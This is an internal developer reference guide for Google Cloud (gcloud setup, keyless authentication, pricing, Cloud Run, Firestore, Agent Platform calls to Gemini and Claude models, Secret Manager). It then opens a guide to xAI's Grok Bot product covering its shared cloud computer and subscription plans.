Gemini Enterprise Agent Platform (formerly Vertex AI) https://docs.cloud.google.com/gemini-enterprise-agent-platform
Google models on Agent Platform https://docs.cloud.google.com/gemini-enterprise-agent-platform/models/google-models
Claude on Google Cloud https://docs.cloud.google.com/gemini-enterprise-agent-platform/models/partner-models/claude
Agent Platform pricing https://cloud.google.com/gemini-enterprise-agent-platform/generative-ai/pricing
Vertex AI → Agent Platform name changes https://docs.cloud.google.com/gemini-enterprise-agent-platform/vertex-ai-name-changes
IAM & Workload Identity Federation https://cloud.google.com/iam/docs/workload-identity-federation
Secret Manager https://cloud.google.com/secret-manager/docs
Google Cloud remote MCP servers https://docs.cloud.google.com/mcp/supported-products

Getting started: SDK, auth, and your first project

Install the Google Cloud SDK (gcloud)

# macOS
brew install --cask google-cloud-sdk

# Linux / WSL
curl https://sdk.cloud.google.com | bash
exec -l $SHELL

# Windows: download the installer
# https://cloud.google.com/sdk/docs/install

gcloud init          # interactive: pick account + project + region
gcloud components install gke-gcloud-auth-plugin   # if you'll use GKE

No install at all? Open Cloud Shell, a pre-authed gcloud terminal in the browser.

The auth ladder (most to least preferred)

Where the code runs How it authenticates Long-lived secret?
Your laptop gcloud auth application-default login (ADC = your user) No
Cloud Run / GKE / Compute Engine The attached service account (metadata server) No
GitHub Actions Workload Identity Federation, GitHub OIDC token → google-github-actions/auth v3 No
Vercel Functions Workload Identity Federation, Vercel OIDC token → google-auth-library ExternalAccountClient No
Anything else, last resort Service-account JSON key via GOOGLE_APPLICATION_CREDENTIALS Yes. Avoid; many orgs block key creation by policy
gcloud auth login                         # you, for gcloud itself
gcloud auth application-default login     # ADC, what the client libraries pick up
gcloud config set project my-project-id
gcloud config set run/region us-central1  # US-first default; africa-south1 for Kenya-targeted

Why ADC matters. Google's client libraries don't take a key argument; they walk the Application Default Credentials chain (the GOOGLE_APPLICATION_CREDENTIALS file, then gcloud user creds, then the attached service account). Authenticate once and every SDK call works locally with your identity. In production the attached service account (or a federated identity) is the identity, so there is no key file to leak.

Enable an API before you call it

Nearly every "permission/404" on a fresh project is a disabled API:

gcloud services enable run.googleapis.com artifactregistry.googleapis.com \
  cloudbuild.googleapis.com secretmanager.googleapis.com aiplatform.googleapis.com \
  iamcredentials.googleapis.com sts.googleapis.com
gcloud services list --enabled

Cost & billing model (the part that bites)

Figures are us-central1 / Tier-1 list prices from cloud.google.com, reviewed 2026-10-20. africa-south1 is a Tier-1 Cloud Run region (same rates as us-central1). Treat the Pricing Calculator as canonical.

Always-free tier (per billing account, every month; not the trial)

Source: Free cloud features and each product's pricing page.

Product Always-free monthly allowance
$300 trial credit Spendable over 90 days (one-time, new accounts)
Compute Engine 1 e2-micro VM (us-west1/us-central1/us-east1) + 30 GB-mo standard PD
Cloud Storage 5 GB-mo regional (US regions)
Cloud Run, instance-based 240,000 vCPU-s + 450,000 GiB-s
Cloud Run, request-based 180,000 vCPU-s + 360,000 GiB-s + 2M requests
Cloud Run functions Billed as Cloud Run (same free tier)
GKE $74.40/month credit against the cluster fee (zonal and Autopilot clusters only), which covers one such cluster
BigQuery 1 TiB queried + 10 GiB storage
Firestore 1 GiB stored + 50k reads / 20k writes / 20k deletes per day
Pub/Sub 10 GiB messages
Cloud Build 2,500 build-minutes
Secret Manager 6 active secret versions + 10,000 access ops + 3 rotation notifications
Cloud Logging First 50 GiB ingested per project

Headline rates (us-central1, Tier-1 list)

Service What you pay for Rate
Cloud Run, instance-based vCPU / memory for the whole instance lifetime $0.000018 / vCPU-s · $0.000002 / GiB-s · no request fee
Cloud Run, request-based vCPU / memory only while serving $0.000024 / vCPU-s · $0.0000025 / GiB-s · $0.40 / M requests
idle min-instances (request-based) $0.0000025 / vCPU-s · $0.0000025 / GiB-s
GKE cluster management $0.10 / cluster / hour (+$0.50 in Extended-channel extended support)
Autopilot per-second vCPU + memory + ephemeral storage requested by Pods
BigQuery (on-demand) bytes scanned $6.25 / TiB (first 1 TiB/mo free)
active logical storage $0.000031507 / GiB-hour ≈ $0.023 / GiB-mo (first 10 GiB free)
Cloud Storage Standard at-rest (US regional) ~$0.020 / GB-mo (carried from 2026-08-23; region selector not machine-readable this pass)
Secret Manager active versions / access ops $0.06 / version-mo · $0.03 / 10k ops · $0.05 / rotation notification
Compute Engine E2 VMs billed 24/7; Spot 60–91% off, CUDs up to ~55%
Gemini / Claude tokens per 1M tokens see AI pricing

Discount levers

Don't get surprised

# Budget + alert on day one
gcloud billing budgets create --billing-account=BILLING_ID \
  --display-name="codeamani-monthly" \
  --budget-amount=50USD \
  --threshold-rule=percent=0.5 --threshold-rule=percent=0.9

Egress is the silent cost. Traffic to Google Cloud resources in the same region is free (Cloud Run → Cloud Run, Cloud Run → Cloud CDN / Load Balancing is free); cross-region and internet egress bill per GB.


Compute

flowchart TD
  Q1{"Stateless container<br/>serving requests?"} -->|Yes| Q2{"One function<br/>covers it?"}
  Q1 -->|No| Q3{"Need Kubernetes?"}
  Q2 -->|Yes| F["Cloud Run functions"]
  Q2 -->|No| R["Cloud Run"]
  Q3 -->|Yes| G["GKE Autopilot"]
  Q3 -->|No| C["Compute Engine VM"]

Choosing compute: the decision tree

Is it a stateless container that responds to requests/events?
├─ Yes → does a single function/endpoint cover it?
│        ├─ Yes → Cloud Run functions   (smallest unit, event triggers)
│        └─ No  → Cloud Run             (any container, scale-to-zero, websockets, jobs)
└─ No  → do you need Kubernetes / multi-container orchestration / service mesh?
         ├─ Yes → GKE  (Autopilot first; Standard for node-level control)
         └─ No  → need a full OS, GPU, long-running daemon, or custom kernel?
                  ├─ Yes → Compute Engine (VMs; Spot for batch)
                  └─ Legacy/managed PaaS → App Engine

Rule of thumb for codeAmani: Vercel stays the primary host for Next.js. Reach for Cloud Run when you need a container (long-running jobs, websockets, a Python service, a webhook receiver that must sit next to GCP data). Graduate to GKE only for real Kubernetes needs, and to Compute Engine only for stateful/GPU/long-running work.

Cloud Run: serverless containers (start here)

# Deploy straight from source; Cloud Build builds the container
gcloud run deploy my-api --source . --region us-central1 \
  --service-account my-api-sa@PROJECT_ID.iam.gserviceaccount.com

# ...or from a prebuilt image in Artifact Registry (gcr.io Container Registry
# was shut down 2025-03-18; images live in REGION-docker.pkg.dev)
gcloud run deploy my-api \
  --image us-central1-docker.pkg.dev/PROJECT_ID/app/my-api:latest --region us-central1

gcloud run services logs tail my-api --region us-central1
gcloud run jobs create nightly-recon \
  --image us-central1-docker.pkg.dev/PROJECT_ID/app/recon:latest --region us-central1
gcloud run jobs execute nightly-recon --region us-central1

Cloud Run functions: event-driven snippets

gcloud functions deploy thumb-maker \
  --gen2 --runtime=nodejs24 --region=us-central1 \
  --trigger-bucket=codeamani-uploads --entry-point=makeThumb

GKE: managed Kubernetes

gcloud container clusters create-auto my-cluster --region us-central1   # Autopilot
gcloud container clusters get-credentials my-cluster --region us-central1
kubectl apply -f deployment.yaml

Compute Engine: virtual machines (the escape hatch)

gcloud compute instances create dev-box \
  --zone=us-central1-a --machine-type=e2-small \
  --image-family=debian-12 --image-project=debian-cloud --tags=http-server
gcloud compute ssh dev-box --zone=us-central1-a
gcloud compute instances stop dev-box --zone=us-central1-a   # stop to save money

Databases

Service Shape Reach for it when…
Cloud SQL Managed Postgres / MySQL / SQL Server You want relational SQL with zero ops. (codeAmani's default Postgres is Neon/Supabase; Cloud SQL is for workloads that must live inside GCP.)
AlloyDB Postgres-compatible, HTAP Heavy Postgres needing high throughput + analytics on the same data.
Spanner Globally distributed relational Horizontal scale and strong consistency.
Firestore Serverless document DB Mobile/web apps, real-time listeners, scale-to-zero, offline sync.
Bigtable Wide-column NoSQL Massive low-latency key/value (time series, IoT).
Memorystore Managed Redis / Valkey Caching, sessions, rate-limit counters.
BigQuery Serverless analytics warehouse Analytics/BI/petabyte SQL. Not an app DB.

Cloud SQL

gcloud sql instances create app-db --database-version=POSTGRES_16 \
  --tier=db-f1-micro --region=us-central1
gcloud sql databases create app --instance=app-db
# From Cloud Run, connect via the built-in Cloud SQL connector (no public IP needed):
gcloud run deploy my-api --add-cloudsql-instances PROJECT_ID:us-central1:app-db

Firestore

import { Firestore } from "@google-cloud/firestore"; // 9.3.1
const db = new Firestore(); // ADC / attached service account

// create() fails with gRPC ALREADY_EXISTS (code 6) if the doc exists: a free idempotency key.
export async function recordEventOnce(eventId: string): Promise<boolean> {
  try {
    await db.collection("stripe_events").doc(eventId).create({ status: "RECEIVED" });
    return true; // first delivery: process it
  } catch (err) {
    if ((err as { code?: number }).code === 6) return false; // duplicate delivery: skip
    throw err;
  }
}

Storage

Cloud Storage: object store

gcloud storage buckets create gs://codeamani-uploads --location=us-central1 \
  --uniform-bucket-level-access --public-access-prevention
gcloud storage cp ./file.pdf gs://codeamani-uploads/
gcloud storage sign-url gs://codeamani-uploads/file.pdf --duration=15m \
  --impersonate-service-account=signer@PROJECT_ID.iam.gserviceaccount.com

AI / ML on Gemini Enterprise Agent Platform

Agent Platform (formerly Vertex AI) is Google Cloud's enterprise AI surface: Gemini models, partner models including Claude, open models (Gemma 4, DeepSeek, Llama) via Model Garden, plus Agent Runtime, RAG Engine and Vector Search. Choose it over the Gemini Developer API (AI Studio guide) or the Claude API (anthropic guide) when you need IAM instead of API keys, data residency (us/eu), CMEK, VPC Service Controls, one GCP invoice, or committed spend.

Gemini models (verified 2026-10-20)

Model ID Stage Use for Locations
gemini-4-argon GA (2026-10-13) Frontier "deep work": hard coding, legal/finance reasoning. Unified 1,048,576-token in+out limit; thinking levels LOW/MEDIUM (default)/HIGH; sampling params ignored global, us, eu
gemini-3.8-flash GA (2026-09-02) Default workhorse: agents, coding, multimodal. 1M context, 65,536 output global, us, eu
gemini-3.5-flash GA (2026-05-19) Google's alternative replacement for 2.5 Flash/Pro global + non-global
gemini-3.5-flash-lite GA (2026-07-21) Cheap high-volume classification, routing, extraction global + non-global
gemini-3.1-flash-lite GA (2026-05-07) Cheapest text model global + non-global
gemini-3.1-pro-preview Public preview Reasoning-first; don't pin in production global
gemini-2.5-pro / -flash / -flash-lite Retired 2026-10-20 on Google Cloud Migrate now —

There is no africa-south1 location for any Gemini or Claude model; africa-south1 on Agent Platform covers custom-model training/inference and Model Registry only.

Calling Gemini (Google Gen AI SDK)

@google/genai 2.30.0 (Node ≥ 20) / google-genai 2.31.0 (Python). The legacy vertexai.generative_models modules were removed 2026-06-24 and @google-cloud/vertexai is deprecated in the docs (npm still serves 1.12.0); don't use them. Runnable file: examples/gemini-agent-platform.mts.

import { GoogleGenAI, ThinkingLevel } from "@google/genai";

const ai = new GoogleGenAI({
  vertexai: true,                       // Google Cloud (IAM). Omit + pass apiKey for AI Studio.
  project: process.env.GOOGLE_CLOUD_PROJECT,
  location: "global",                   // Gemini 3.x/4: global | us | eu
});

const res = await ai.models.generateContent({
  model: "gemini-3.8-flash",
  contents: "Andika salamu fupi kwa Kiswahili.",
  config: { maxOutputTokens: 512, thinkingConfig: { thinkingLevel: ThinkingLevel.LOW } },
});
console.log(res.text);
# pip install google-genai==2.31.0
from google import genai

client = genai.Client(vertexai=True, project="PROJECT_ID", location="global")
resp = client.models.generate_content(model="gemini-3.8-flash", contents="Hello")
print(resp.text)

The SDK also reads GOOGLE_GENAI_USE_VERTEXAI, GOOGLE_CLOUD_PROJECT and GOOGLE_CLOUD_LOCATION from the environment (see the settings table below). Gemini 4 Argon long decodes (output past 65,536 tokens via continuation_token) only work on the v1beta1 API, which the Gen AI SDK uses by default.

Claude on Google Cloud

Claude models are served as managed APIs from Model Garden and billed on your Google Cloud invoice. No Anthropic API key is involved; IAM (roles/aiplatform.user) is the gate. Runnable file: examples/claude-on-google-cloud.mts.

Model ID Released on Google Cloud Context / max output Global endpoint quota (default)
claude-fable-5-1 2026-09-01 1M / 128K needs the Advanced AI Safety Addendum accepted in Model Garden
claude-opus-5-5 (codeAmani default) 2026-09-22 1M / 128K 2,000 QPM · 20M input TPM · 2M output TPM
claude-sonnet-5-5 2026-09-28 1M / 128K 2,500 QPM · 25M input TPM
claude-haiku-5-5 2026-10-07 1M / 128K 3,000 QPM · 30M input TPM

IDs match the anthropic guide: bare IDs, no anthropic. prefix (that is Bedrock), no date suffix. Older Opus 5 / 4.8 / 4.7 / 4.6 / 4.5, Sonnet 5 / 4.6 / 4.5 and Haiku 4.5 are still listed.

Endpoints. global (cheapest, highest quota, request may be served from any supported region) · us / eu multi-region (aiplatform.us.rep.googleapis.com / aiplatform.eu.rep.googleapis.com; data stays in that geography; Claude 4.7 and later) · regional such as us-east5, europe-west1, asia-southeast1. Non-global endpoints cost 10% more. Prompt caching works on global and multi-region; Provisioned Throughput doesn't. Orgs can block the global endpoint with constraints/gcp.restrictEndpointUsage.

# One-time: enable the API, then click Enable on the Claude model card in Model Garden
gcloud services enable aiplatform.googleapis.com
npm i @anthropic-ai/vertex-sdk@0.21.0      # pulls @anthropic-ai/sdk 0.135.x
import { AnthropicVertex } from "@anthropic-ai/vertex-sdk";

const claude = new AnthropicVertex({ projectId: process.env.GOOGLE_CLOUD_PROJECT, region: "global" });
const msg = await claude.messages.create({
  model: "claude-opus-5-5",
  max_tokens: 1024,
  messages: [{ role: "user", content: "Review this webhook handler for idempotency bugs." }],
});
# pip install "anthropic[vertex]==1.15.0"
from anthropic import AnthropicVertex
client = AnthropicVertex(project_id="PROJECT_ID", region="global")
msg = client.messages.create(model="claude-haiku-5-5", max_tokens=256,
                             messages=[{"role": "user", "content": "Classify: refund request?"}])

Google lists computer use, web search, batch, prompt caching, function calling, count tokens and the memory tool as supported for Opus 5.5. Platform differences vs the Claude API (from the anthropic guide): server-side model fallbacks aren't available (use the SDK's client-side fallback middleware), and web search is the basic web_search_20250305 tool. Raw REST uses :rawPredict / :streamRawPredict with "anthropic_version": "vertex-2023-10-16" in the body.

AI pricing (per 1M tokens, global endpoint)

Source: Agent Platform pricing, read 2026-10-20. Non-global endpoints are +10% for Gemini 3+ and Claude. Batch is 50% off.

Model Input Output Notes
gemini-4-argon $2.00 → $4.00 $10.00 → $20.00 promo through 2026-11-30, list from 2026-12-01
gemini-3.8-flash $0.75 → $1.50 $3.75 → $7.50 promo through 2026-12-31, list from 2027-01-01 (same for 3.7 / 3.6 Flash)
gemini-3.5-flash $1.50 $9.00
gemini-3.5-flash-lite $0.30 $2.50
gemini-3.1-flash-lite $0.25 $1.50 text/image/video input
claude-fable-5-1 $10.00 $50.00
claude-opus-5-5 $4.00 $20.00 cache hit $0.20
claude-sonnet-5-5 $2.00 $10.00 cache hit $0.10
claude-haiku-5-5 $0.10 / $0.50 $0.50 / $2.50 ≤100K / >100K input tokens

Grounding with Google Search on Gemini 3/4: 5,000 queries/month free, then $14 per 1,000.

Agent Runtime (formerly Agent Engine)

Managed hosting for agents built with ADK, LangGraph, LlamaIndex or A2A, with Memory Bank (long-term memory) and Sessions. Google's quickstart now drives it with agents-cli (agents-cli scaffold enhance --deployment-target cloud_run, agents-cli deploy). For a low-volume codeAmani agent, a Cloud Run service calling Gemini or Claude directly is usually cheaper and simpler; reach for Agent Runtime when you need managed memory/sessions. Not available in africa-south1. Docs: https://docs.cloud.google.com/gemini-enterprise-agent-platform/build/runtime


Eventing, scheduling & orchestration

Service Use case One-liner
Pub/Sub Async messaging / fan-out gcloud pubsub topics create payments
Eventarc Route GCP events (e.g. a GCS upload) to Cloud Run Trigger services from many event sources
Cloud Tasks Reliable async task queues with rate limits and retries Deferred work, outbound webhooks
Cloud Scheduler Cron as a service gcloud scheduler jobs create http nightly --schedule="0 2 * * *" --uri=URL
Workflows Serverless orchestration of API/service steps YAML state machine

DevOps: build, registry, deploy, CI/CD

# cloudbuild.yaml: build, test, push, deploy to Cloud Run
steps:
  - { name: node:24, entrypoint: npm, args: [ci] }
  - { name: node:24, entrypoint: npm, args: [test] }
  - { name: gcr.io/cloud-builders/docker,
      args: [build, -t, "$_REGION-docker.pkg.dev/$PROJECT_ID/app/$_SVC:$COMMIT_SHA", .] }
  - { name: gcr.io/cloud-builders/docker,
      args: [push, "$_REGION-docker.pkg.dev/$PROJECT_ID/app/$_SVC:$COMMIT_SHA"] }
  - { name: gcr.io/google.com/cloudsdktool/cloud-sdk, entrypoint: gcloud,
      args: [run, deploy, "$_SVC", "--image=$_REGION-docker.pkg.dev/$PROJECT_ID/app/$_SVC:$COMMIT_SHA",
             "--region=$_REGION"] }
substitutions: { _SVC: my-api, _REGION: us-central1 }
options: { logging: CLOUD_LOGGING_ONLY }

Networking (the essentials)

Service What it does
VPC Private software-defined network; subnets are regional, the VPC is global
Cloud Load Balancing Global anycast L7/L4 load balancer
Cloud CDN Edge caching in front of the load balancer
Cloud Armor WAF + DDoS protection
Cloud DNS Managed authoritative DNS (codeAmani domains stay on Porkbun DNS unless a project needs Cloud DNS)

Keep DB, cache and compute in the same region; cross-region traffic bills per GB.


Security & Identity

IAM: every call is a permission check

Concept Meaning
Principal Who: user, group, service account, or federated identity (principal:// / principalSet://)
Role A permission bundle, e.g. roles/run.invoker, roles/aiplatform.user
Binding A (principal, role, resource) triple, the grant itself
gcloud projects get-iam-policy PROJECT_ID
gcloud run services add-iam-policy-binding my-api --region=us-central1 \
  --member="serviceAccount:caller@PROJECT_ID.iam.gserviceaccount.com" --role="roles/run.invoker"

Least privilege: predefined roles over roles/owner; bind at the narrowest scope (one bucket, one service, one secret); one service account per service. IAM changes can take a minute or more to propagate.

Secret Manager: runtime secrets

printf '%s' "$VALUE_FROM_VAULT" | gcloud secrets create STRIPE_SECRET_KEY --data-file=-
gcloud secrets add-iam-policy-binding STRIPE_SECRET_KEY \
  --member="serviceAccount:my-api-sa@PROJECT_ID.iam.gserviceaccount.com" \
  --role="roles/secretmanager.secretAccessor"
# Mount into Cloud Run (never bake secrets into images or plain env vars):
gcloud run deploy my-api --update-secrets=STRIPE_SECRET_KEY=STRIPE_SECRET_KEY:latest

Keyless auth: Workload Identity Federation

WIF trades an external OIDC token (GitHub, Vercel) for a short-lived Google access token through STS, optionally impersonating a service account. There is no JSON key to store, rotate or leak.

From GitHub Actions (from the google-github-actions/auth v3 README):

gcloud iam workload-identity-pools create github --project=PROJECT_ID \
  --location=global --display-name="GitHub Actions"
gcloud iam workload-identity-pools providers create-oidc codeamani-repos \
  --project=PROJECT_ID --location=global --workload-identity-pool=github \
  --issuer-uri="https://token.actions.githubusercontent.com" \
  --attribute-mapping="google.subject=assertion.sub,attribute.repository=assertion.repository,attribute.repository_owner=assertion.repository_owner" \
  --attribute-condition="assertion.repository_owner == 'codeAmani-Labs'"
gcloud iam service-accounts add-iam-policy-binding deployer@PROJECT_ID.iam.gserviceaccount.com \
  --role=roles/iam.workloadIdentityUser \
  --member="principalSet://iam.googleapis.com/projects/PROJECT_NUMBER/locations/global/workloadIdentityPools/github/attribute.repository/codeAmani-Labs/REPO"
permissions: { contents: read, id-token: write }
steps:
  - uses: google-github-actions/auth@7c6bc770dae815cd3e89ee6cdf493a5fab2cc093 # v3
    with:
      workload_identity_provider: ${{ vars.GCP_WIF_PROVIDER }}
      service_account: ${{ vars.GCP_DEPLOYER_SA }}

The --attribute-condition is mandatory in practice: without it, any GitHub repo could present a token to your pool.

From Vercel (per Vercel's GCP OIDC guide): create pool vercel with an OIDC provider whose issuer is https://oidc.vercel.com/<TEAM_SLUG> (team issuer mode) and mapping google.subject = assertion.sub. Grant the service account to principal://iam.googleapis.com/projects/<NUM>/locations/global/workloadIdentityPools/vercel/subject/owner:<TEAM>:project:<PROJECT>:environment:production, one principal per project + environment. In code:

import { getVercelOidcToken } from "@vercel/oidc";            // 4.0.1
import { ExternalAccountClient } from "google-auth-library";  // 11.3.1
import { Storage } from "@google-cloud/storage";              // 8.4.0

const authClient = ExternalAccountClient.fromJSON({
  type: "external_account",
  audience: `//iam.googleapis.com/projects/${process.env.GCP_PROJECT_NUMBER}/locations/global/workloadIdentityPools/${process.env.GCP_WORKLOAD_IDENTITY_POOL_ID}/providers/${process.env.GCP_WORKLOAD_IDENTITY_POOL_PROVIDER_ID}`,
  subject_token_type: "urn:ietf:params:oauth:token-type:jwt",
  token_url: "https://sts.googleapis.com/v1/token",
  service_account_impersonation_url: `https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/${process.env.GCP_SERVICE_ACCOUNT_EMAIL}:generateAccessToken`,
  subject_token_supplier: { getSubjectToken: () => getVercelOidcToken() },
});
if (!authClient) throw new Error("WIF config invalid");
const storage = new Storage({ projectId: process.env.GCP_PROJECT_ID, authClient });

Full typed version with an upload route: examples/vercel-wif.ts. Version gotcha: @google/genai 2.30.0 and @anthropic-ai/vertex-sdk 0.21.0 still depend on google-auth-library 10.x, so an 11.x client won't type-check as their authClient. Pass accessToken from authClient.getAccessToken() to AnthropicVertex, or pin google-auth-library@10.9.1 in AI-only routes.

Cloud KMS

Customer-managed encryption keys (CMEK) for data you must control at rest. Gemini 3.8 Flash and Gemini 4 Argon list CMEK, data residency and VPC-SC for online, batch and context-caching requests on Agent Platform.


Observability

gcloud logging read 'resource.type=cloud_run_revision severity>=ERROR' --limit 20 --freshness=1h

Cloud Shell (the browser terminal)

A free, pre-authed Debian VM at shell.cloud.google.com with gcloud, bq, kubectl, docker, Node and Python, and 5 GB persistent $HOME.

gcloud cloud-shell ssh
gcloud cloud-shell ssh --command "gcloud run services list"

Only $HOME persists.


Claude Code integration

gcloud via the Bash tool (most reliable)

// .claude/settings.json
{ "permissions": { "allow": ["Bash(gcloud:*)", "Bash(bq:*)"] } }

Google Cloud remote MCP servers (first-party)

Google now hosts remote MCP servers on Google infrastructure, one per product, e.g. Cloud Run https://run.googleapis.com/mcp, Firestore https://firestore.googleapis.com/mcp, IAM https://iam.googleapis.com/mcp, Cloud Logging https://logging.googleapis.com/mcp, GKE https://container.googleapis.com/mcp, and the gcloud CLI server https://cloudcli.googleapis.com/mcp (Preview). Full list: https://docs.cloud.google.com/mcp/supported-products. They support MCP spec 2026-07-28.

Setup per Google's docs: enable the product API, grant the caller roles/mcp.toolUser on the project, then (for Claude Code / claude.ai / Claude Desktop) create a Web application OAuth client in Google Auth Platform with redirect URI https://claude.ai/api/mcp/auth_callback and add the server as a custom connector with that client ID and secret. The OAuth client secret is a real secret: keep it in the vault. Use toolset endpoints where a server offers them, to keep the tool list small.

Slash command: analyze Cloud Run logs

<!-- .claude/commands/gcp-logs.md -->
Analyze recent Cloud Run logs for $ARGUMENTS.
Run: gcloud logging read 'resource.type=cloud_run_revision AND resource.labels.service_name=$ARGUMENTS AND severity>=WARNING' --limit 50 --freshness=1h
Summarise errors, high-latency requests, and crash loops with root causes + fixes.

Settings (not secrets)

None of these are credentials, so they belong in project settings / Vercel env config, not the secrets vault. In the keyless setups above there is no Google secret at all.

Variable Example Used by
GOOGLE_CLOUD_PROJECT my-project-123456 Client libraries, Gen AI SDK
GOOGLE_CLOUD_LOCATION global Gen AI SDK (Gemini 3.x/4: global, us, eu)
GOOGLE_GENAI_USE_VERTEXAI true Gen AI SDK: route to Google Cloud instead of AI Studio
CLOUD_ML_REGION global @anthropic-ai/vertex-sdk default region
GCP_PROJECT_ID / GCP_PROJECT_NUMBER my-project-123456 / 1234567890 Vercel WIF
GCP_SERVICE_ACCOUNT_EMAIL vercel@my-project-123456.iam.gserviceaccount.com Vercel WIF
GCP_WORKLOAD_IDENTITY_POOL_ID / ..._PROVIDER_ID vercel / vercel Vercel WIF
GOOGLE_APPLICATION_CREDENTIALS path to a key file Last resort only. The file it points at is a secret; never commit it

Official learning resources

Resource What it is URL
Cloud Skills Boost Google's courses + hands-on labs https://www.cloudskillsboost.google/
Google Cloud Codelabs Build-along tutorials https://codelabs.developers.google.com/
Architecture Center Reference architectures https://cloud.google.com/architecture
Well-Architected Framework Reliability, security, cost, ops pillars https://cloud.google.com/architecture/framework
Certifications Associate Cloud Engineer → Professional tracks https://cloud.google.com/learn/certification
Free Tier + $300 trial Build for real at near-zero cost https://cloud.google.com/free
gcloud cheat sheet One-pager of essential commands https://cloud.google.com/sdk/docs/cheatsheet

Suggested path for a codeAmani dev: Free Tier sign-up → deploy a container to Cloud Run → wire Firestore + Secret Manager → add the keyless GitHub Actions deploy → call Gemini 3.8 Flash and Claude Opus 5.5 through Agent Platform → read the cost and security pillars of the Well-Architected Framework.


Troubleshooting

Issue Fix
gcloud: command not found Run gcloud init after install; restart the shell
403 / API not enabled gcloud services enable <api>.googleapis.com, then retry
ADC not configured gcloud auth application-default login
403 permission denied (API enabled) Grant the role at the narrowest scope
404 model not found for gemini-2.5-* Retired 2026-10-20 → gemini-3.8-flash / gemini-3.5-flash-lite
Gemini 3.x/4 404 in us-central1 Those models live on global, us, eu only; set location: "global"
Claude 403 / "not enabled" Click Enable on the model card in Model Garden; needs Consumer Procurement Entitlement Manager to accept terms
Claude 429s on a regional endpoint Switch to region: "global" (higher default quota, 10% cheaper)
WIF: unauthorized_client / invalid_grant Attribute condition or principal subject doesn't match the token's repository / Vercel sub (owner:TEAM:project:PROJECT:environment:ENV)
WIF works but API calls 403 The impersonated SA lacks the resource role, or the principal lacks roles/iam.workloadIdentityUser on the SA
Cloud Run cold starts --min-instances=1 for latency-sensitive endpoints
Surprise bill Egress, an always-on VM / Cloud SQL, or a second GKE cluster; set a budget alert on day one

codeAmani notes

Official docs:

Grok Bot Integration Guide

Technology: grok-bot · Category: tooling · Last reviewed: 2026-10-18

Source: https://tech-stack.codeamanilabs.org/guide/grok-bot

Insight:

Grok Bot is not an API. It is an app that gives you AI teammates: named Bots with persistent memory, each working on a cloud computer (browser, filesystem, terminal) that keeps running after your laptop closes. You use it rather than build on it. The one fact that shapes everything else: all of your Bots share one computer, so every login, cookie and file one Bot can reach, every Bot can reach. Separate Bots are a way to organise work, not a security boundary. If you want a bot you ship to your own customers, that is grok-chatbot/.

 ██████╗ ██████╗  ██████╗ ██╗  ██╗    ██████╗  ██████╗ ████████╗
██╔════╝ ██╔══██╗██╔═══██╗██║ ██╔╝    ██╔══██╗██╔═══██╗╚══██╔══╝
██║  ███╗██████╔╝██║   ██║█████╔╝     ██████╔╝██║   ██║   ██║
██║   ██║██╔══██╗██║   ██║██╔═██╗     ██╔══██╗██║   ██║   ██║
╚██████╔╝██║  ██║╚██████╔╝██║  ██╗    ██████╔╝╚██████╔╝   ██║
 ╚═════╝ ╚═╝  ╚═╝ ╚═════╝ ╚═╝  ╚═╝    ╚═════╝  ╚═════╝    ╚═╝

Grok Bot Integration Guide

Focus: xAI's Grok Bot product. Persistent AI "Bots" that do real work on a cloud computer, used from desktop, mobile, or by tagging @bot on X. Covers plans and linking, the shared-computer model, skills and routines, approvals, Teams/Enterprise controls, and the security model. It is not a developer API. To build your own Grok-powered bot for customers, see grok-chatbot/. For the raw model API, see xai/.

Overview

Grok Bot gives you named AI Bots, each with a job, a description, persistent memory, and its own conversation. Every Bot works on a cloud computer with a browser, filesystem, and terminal, so it can finish tasks inside the tools you already use. Work continues when your laptop or phone is closed. Bots can run in parallel, message each other, join group chats, and hand tasks off.

Fact Detail
Who runs it xAI-branded, but runs on Cursor's (Anysphere) cloud with Cursor accounts, billing, and SSO
How you use it Desktop app, mobile app, or @bot on X
Where work happens A per-user Linux cloud computer (a dedicated Firecracker microVM) in the US
Model Chosen by the service. There is no model picker
Developer surface No public Grok Bot API, SDK, CLI, or webhook. Integration is through MCP plugins, connectors, and the Admin/Organization APIs (§8)
flowchart LR
  U["You<br/>desktop · mobile · @bot on X"] --> B1["Bot: Research"]
  U --> B2["Bot: Inbox"]
  U --> B3["Bot: Ops"]
  B1 <-->|"messages · handoffs"| B2
  B1 --> C["ONE shared cloud computer<br/>browser · /workspace · terminal<br/>logins · cookies · CLI creds"]
  B2 --> C
  B3 --> C
  C --> P["Connectors / MCP plugins"]
  C --> W["Web apps via computer use"]
  B3 -.->|"pauses for"| A["Your approval<br/>(Allow once · Always · Deny)"]

Grok Bot vs. its neighbours

Grok Bot (this guide) Grok Build Grok API (xai/, grok-chatbot/)
What AI teammates on a cloud computer Coding-agent CLI in your terminal (grok) Model endpoints you call from code
You Use it Use it on your repo Build on it
Runs Cursor's cloud Your machine xAI's API
Billed Plan's weekly pool Plan / XAI_API_KEY Per token

Official Documentation

Resource URL
Overview https://docs.x.ai/grok-bot/overview
Get started (install, first Bot) https://docs.x.ai/grok-bot/get-started
Bots https://docs.x.ai/grok-bot/bots
Computer and apps (shared computer, connectors, take over) https://docs.x.ai/grok-bot/computer-and-apps
Skills, routines, automations https://docs.x.ai/grok-bot/skills-routines-and-automations
Approvals, security and privacy https://docs.x.ai/grok-bot/approvals-security-and-privacy
Tag @bot on X https://docs.x.ai/grok-bot/tag-on-x
Team Bots https://docs.x.ai/grok-bot/team-bots
Teams and Enterprise https://docs.x.ai/grok-bot/teams-and-enterprises
Security / Security FAQ https://docs.x.ai/grok-bot/security · https://docs.x.ai/grok-bot/security-faq
Deployment (installers, release feed) https://docs.x.ai/grok-bot/deployment
Proxies / private networks https://docs.x.ai/grok-bot/proxies · https://docs.x.ai/grok-bot/private-networks
Troubleshooting https://docs.x.ai/grok-bot/troubleshooting
Plans (Cursor help) https://cursor.com/help/grok-bot/plans
Linking SuperGrok (Cursor help) https://cursor.com/help/grok-bot/supergrok
The X Subscription & Grok Bot https://docs.x.ai/x-subscription/grok-bot

1. Plans and access

Grok Bot uses a weekly usage pool that resets weekly. No reset day is documented; the live usage view shows the next reset date. It is unlocked by any one of these:

Route Plans that include Grok Bot Not included
Cursor plan Pro, Pro+, Ultra (individual); Cursor Teams Free; legacy request-based plans
Linked Grok subscription SuperGrok, SuperGrok Plus, SuperGrok Heavy, X Premium+, a self-serve Grok Business seat SuperGrok Lite. Grok Enterprise: ask your account manager
The X Subscription (new family) Premium ($30/mo), Super ($100/mo), Ultra ($200/mo); seats at the same prices for teams Free, Plus

